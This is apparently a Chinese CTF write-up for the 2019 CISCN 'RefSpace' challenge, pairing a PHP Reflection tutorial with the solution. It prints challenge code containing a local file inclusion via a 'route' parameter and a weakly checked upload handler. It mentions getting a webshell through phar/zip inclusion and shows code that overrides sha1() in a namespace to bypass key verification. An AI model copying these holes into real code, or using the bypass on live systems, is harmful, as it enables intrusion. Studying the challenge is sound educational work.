2019 CISCN RefSpace

  1. 1. Reflection
    1. 1.1. GET
      1. 1.1.1. 读取私有成员变量
      2. 1.1.2. 执行私有函数
    2. 1.2. SET
      1. 1.2.1. 修改类的成员变量
      2. 1.2.2. 修改函数返回值
    3. 1.3. Namespace
    4. 1.4. RefSpace
      1. 1.4.1. Invoke
  2. 2. Reference

国赛中 RefSpace 那道题的 wp 与研究。

国赛 day2 出现了一道比较有意思的题,最后貌似只有5人能解出。赛时我尝试通过覆写函数来实现直接 getFlag ,最后发现自己还是太年轻了,预期解应该就是通过 php 反射类来覆写 namespace 中的sha1()函数来达到 getFlag。

所以整个题解题思路大致是:

  • 通过 phar/zip 协议,绕过上传点拿到 webshell
  • 通过 php 反射类覆写 sha1 函数 getFlag

让我们首先来了解一下 php 反射

Reflection

PHP 5 具有完整的反射 API,添加了对类、接口、函数、方法和扩展进行反向工程的能力。 此外,反射 API 提供了方法来取出函数、类和方法中的文档注释。

请注意部分内部 API 丢失了反射扩展工作所需的代码。 例如,一个内置的 PHP 类可能丢失了反射属性的数据。这些少数的情况被认为是错误,不过, 正因为如此,它们应该被发现和修复。

反射,直观理解就是根据到达地找到出发地和来源。比如,一个光秃秃的对象,我们可以仅仅通过这个对象就能知道它所属的类、拥有哪些方法。

GET

Reflection Class中我们可以看到很多比较有趣的 api ,例如 getProperties

官方文档也给出了例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Foo {
public $foo = 1;
protected $bar = 2;
private $baz = 3;
}

$foo = new Foo();

$reflect = new ReflectionClass($foo);
$props = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PROTECTED);

foreach ($props as $prop) {
print $prop->getName() . "\n";
}

var_dump($props);

?>

OutPut:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
foo
bar
array(2) {
[0]=>
object(ReflectionProperty)#3 (2) {
["name"]=>
string(3) "foo"
["class"]=>
string(3) "Foo"
}
[1]=>
object(ReflectionProperty)#4 (2) {
["name"]=>
string(3) "bar"
["class"]=>
string(3) "Foo"
}
}

读取私有成员变量

如果想要输出私有变量,就加上ReflectionProperty::IS_PRIVATE即可。

执行私有函数

既然可以拿到类成员的值,那么函数返回值能不能拿到呢?

当然是可以的

1
2
3
4
5
6
7
8
9
class Foo {
private function showFlag(){
return 'This is not flag';
}
}

$reflectionMethod = new ReflectionMethod('Foo', 'showFlag');
$reflectionMethod->setAccessible(true);
echo $reflectionMethod->invoke(new Foo());

OutPut:

1
This is not flag

SET

修改类的成员变量

利用ReflectionProperty::setValue可以修改成员变量,可以参考官方文档给出示例,这里也给一个例子,修改 private 或者 protected 类型的变量也要加上setAccessible(true),否则会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Foo {
public $foo = 1;
protected $bar = 2;
private $baz = 3;
}

$foo = new Foo();

$reflect = new ReflectionClass($foo);

//change foo fron 1 to 5
$reflect->getProperty('foo')->setValue($foo, '5');

//change baz from 3 to 4
$baz = $reflect->getProperty('baz');
$baz->setAccessible(true);
$baz->setValue($foo, '4');

//Output
$props = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PROTECTED | ReflectionProperty::IS_PRIVATE);

foreach ($props as $prop) {
$prop->setAccessible(true);
print $prop->getName() . "\n";
print $prop->getValue($foo)."\n";
}

Output:

1
foo 5 bar 2 baz 4

修改函数返回值

并不能直接修改函数返回值

Namespace

这里简单提一下 php 中的 namespace 命名空间,简单来说 php 命名空间为了解决的就是覆写 php 内部函数的问题,详细可以参考命名空间概述

举个例子:

1
2
3
4
5
6
namespace Foo;
function sha1($key){
return "This is Foo sha1";
}
var_dump(sha1('1'));
var_dump(\sha1('1'));

Output:

1
2
3
/test.php:6:string 'This is Foo sha1' (length=18)

/test.php:7:string '356a192b7913b04c54574d18c28d46e6395428ab' (length=40)

RefSpace

接着我们来看看这个题,首先通过一系列操作 getshell ,参考zip或phar协议包含文件),这里就略过了,都是重复性简单的操作,得到以下源码

app/index

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
?>
<html>

<head>
<meta charset="UTF-8">
</head>

<body>

Hi CTFer,<br />
这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br />
Powered by Aoisystem<br />
<!-- error_reporting(E_ALL); -->

</body>

</html>

app/Up10aD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}

if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
default:
echo "Only gif/jpg allowed";
exit();
}
$dst = "upload/" . $_FILES["file"]["name"] . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
echo "文件保存位置: {$dst}<br />";
}
?>
<html>

<head>
<meta charset="UTF-8">
</head>

<body>
我们不能让选手轻而易举的搜索到上传接口。<br />
即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪
<form method="post" enctype="multipart/form-data">
<label for="file">来选择你的文件吧:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>

</html>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(E_ALL);
define('LFI', 'LFI');
$lfi = $_GET['route'] ?? false;
if (!$lfi) {
header("location: ?route=app/index");
exit();
}
include "{$lfi}.php";
//Good job, you know how to use LFI, don't you?
//But You are still far from flag
//hint: ?router=app/flag

app/flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?? false;
if (!$key) {
echo "Please provide access key<br \>";
echo '$_GET["key"];';
exit();
}
$flag = $sdk->verify($key);
if ($flag) {
echo $flag;
} else {
echo "Wrong Key";
exit();
}
//Do you want to know more about this SDK?
//we 'accidentally' save a backup.zip for more information

sdk 开发文档.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
我们的SDK通过如下SHA1算法验证key是否正确:

public function verify($key)
{
if (sha1($key) === $this->getHash()) {
return "too{young-too-simple}";
}
return false;
}

如果正确的话,我们的SDK会返回flag。

PS: 为了节省各位大佬的时间,特注明
true1.此处函数return值并不是真正的flag,和真正的flag没有关系。
true2.此处调用的sha1函数为PHP语言内建的hash函数。(http://php.net/manual/zh/function.sha1.php)
true3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。
true4.几乎大部分源码内都有一定的hint,如果您是通过扫描目录发现本文件的,您可能还有很长的路要走。

所以这里重点就是 flag.php 了,之前我们提到过可以在命名空间覆写函数,可是即使可以覆写,那要怎么绕过verify这个函数呢?

Invoke

我们可以发现在verify函数中,getHash()函数并没有传参,很有可能就是直接返回了一个固定值或者随机值什么的,那我们是不是可以利用反射类来执行getHash()函数,覆写sha1()函数绕过verify判断呢?

于是我们可以操作一波

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
namespace interesting;

class FlagSDK{

private function getHash(){
return \sha1('test');
}

public function verify($key)
{
if (sha1($key) === $this->getHash()) {
return "flag{xxx}";
}
return false;
}
}
$sdk = new FlagSDK();

function sha1($key){
$reflectionMethod = new \ReflectionMethod('interesting\FlagSDK', 'getHash');
$reflectionMethod->setAccessible(true);
return $reflectionMethod->invoke(new FlagSDK());
}

$flag = $sdk->verify('1');
if ($flag) {
echo $flag;
} else {
echo "Wrong Key";
exit();
}

基本构造如上,由于环境已经关了,只能本地实现以下,思路就是以上说的通过反射类来覆写 namespace 的sha1函数来达到绕过效果

做题的时候 flag.php 是有写权限的,所以我们只要把sha1代码写入 flag.php 就可以了

1
2
3
4
5
function sha1($key){
$reflectionMethod = new \ReflectionMethod('interesting\FlagSDK', 'getHash');
$reflectionMethod->setAccessible(true);
return $reflectionMethod->invoke(new FlagSDK());
}

当然,也可以像 @zsx 师傅一样手撕加密 orz …

Reference

ctf中的php反射)

ROIS CISCN 全国大学生信息安全竞赛线上赛 Writeup

第12届全国大学生信息安全竞赛Web题解

版权声明:除文章开头有特殊声明的情况外,所有文章在取得作者允许授权转载的情况下,均可在遵从 CC BY 4.0 协议的情况下转载。

2019 ISCC Web wp 2019 CISCN Web wp

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×